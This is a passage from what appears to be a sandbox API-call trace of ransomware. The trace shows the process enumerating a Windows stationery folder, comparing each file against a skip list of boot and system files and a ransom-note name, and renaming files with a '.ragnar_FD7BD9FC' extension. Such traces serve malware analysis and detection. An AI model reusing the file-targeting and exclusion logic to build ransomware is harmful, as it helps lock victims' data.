(lpString1="Blue_Gradient.jpg", lpString2="bootmgr") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="bootmgr.efi") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="bootmgfw.efi") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="desktop.ini") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="iconcache.db") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ntldr") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ntuser.dat") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ntuser.dat.log") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ntuser.ini") returned -1 [0068.500] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="thumbs.db") returned -1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0068.500] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0068.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0068.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.501] CloseHandle (hObject=0xffffffff) returned 0 [0068.501] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" [0068.501] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.ragnar_FD7BD9FC" [0068.501] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.501] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0068.501] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.501] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Cave_Drawings.gif" | out: lpString1="Cave_Drawings.gif") returned="Cave_Drawings.gif" [0068.502] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned=".gif" [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="autorun.inf") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="boot.ini") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootfont.bin") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootsect.bak") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootmgr") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootmgr.efi") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="bootmgfw.efi") returned 1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="desktop.ini") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="iconcache.db") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ntldr") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ntuser.dat") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ntuser.dat.log") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="ntuser.ini") returned -1 [0068.502] lstrcmpiW (lpString1="Cave_Drawings.gif", lpString2="thumbs.db") returned -1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".db") returned 1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".lnk") returned -1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".drv") returned 1 [0068.502] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0068.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0068.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.502] CloseHandle (hObject=0xffffffff) returned 0 [0068.502] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" [0068.503] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.ragnar_FD7BD9FC" [0068.503] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.503] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0068.503] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.503] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Connectivity.gif" | out: lpString1="Connectivity.gif") returned="Connectivity.gif" [0068.503] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned=".gif" [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="autorun.inf") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="boot.ini") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootfont.bin") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootsect.bak") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootmgr") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootmgr.efi") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="bootmgfw.efi") returned 1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="desktop.ini") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="iconcache.db") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ntldr") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ntuser.dat") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ntuser.dat.log") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="ntuser.ini") returned -1 [0068.503] lstrcmpiW (lpString1="Connectivity.gif", lpString2="thumbs.db") returned -1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".db") returned 1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".lnk") returned -1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".drv") returned 1 [0068.503] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0068.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0068.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.504] CloseHandle (hObject=0xffffffff) returned 0 [0068.504] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" [0068.504] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.ragnar_FD7BD9FC" [0068.504] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.504] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0068.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.504] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini" [0068.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned=".ini" [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="autorun.inf") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="boot.ini") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootfont.bin") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootsect.bak") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr.efi") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgfw.efi") returned 1 [0068.504] lstrcmpiW (lpString1="Desktop.ini", lpString2="desktop.ini") returned 0 [0068.504] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0068.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.504] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Dotted_Lines.emf" | out: lpString1="Dotted_Lines.emf") returned="Dotted_Lines.emf" [0068.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned=".emf" [0068.504] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.504] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="autorun.inf") returned 1 [0068.504] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="boot.ini") returned 1 [0068.504] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootfont.bin") returned 1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootsect.bak") returned 1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootmgr") returned 1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootmgr.efi") returned 1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="bootmgfw.efi") returned 1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="desktop.ini") returned 1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="iconcache.db") returned -1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ntldr") returned -1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ntuser.dat") returned -1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ntuser.dat.log") returned -1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="ntuser.ini") returned -1 [0068.505] lstrcmpiW (lpString1="Dotted_Lines.emf", lpString2="thumbs.db") returned -1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0068.505] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0068.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0068.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.505] CloseHandle (hObject=0xffffffff) returned 0 [0068.505] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" [0068.505] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.ragnar_FD7BD9FC" [0068.505] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0068.506] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.506] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Garden.htm" | out: lpString1="Garden.htm") returned="Garden.htm" [0068.506] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned=".htm" [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="autorun.inf") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="boot.ini") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="bootfont.bin") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="bootsect.bak") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="bootmgr") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="bootmgr.efi") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="bootmgfw.efi") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="desktop.ini") returned 1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="iconcache.db") returned -1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="ntldr") returned -1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="ntuser.dat") returned -1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="ntuser.dat.log") returned -1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="ntuser.ini") returned -1 [0068.506] lstrcmpiW (lpString1="Garden.htm", lpString2="thumbs.db") returned -1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0068.506] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0068.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0068.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.507] CloseHandle (hObject=0xffffffff) returned 0 [0068.507] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" [0068.507] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.ragnar_FD7BD9FC" [0068.507] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0068.507] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.507] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Garden.jpg" | out: lpString1="Garden.jpg") returned="Garden.jpg" [0068.507] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned=".jpg" [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="autorun.inf") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="boot.ini") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootfont.bin") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootsect.bak") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootmgr") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootmgr.efi") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="bootmgfw.efi") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="desktop.ini") returned 1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="iconcache.db") returned -1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntldr") returned -1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntuser.dat") returned -1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntuser.dat.log") returned -1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="ntuser.ini") returned -1 [0068.507] lstrcmpiW (lpString1="Garden.jpg", lpString2="thumbs.db") returned -1 [0068.507] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0068.507] lstrcmpiW 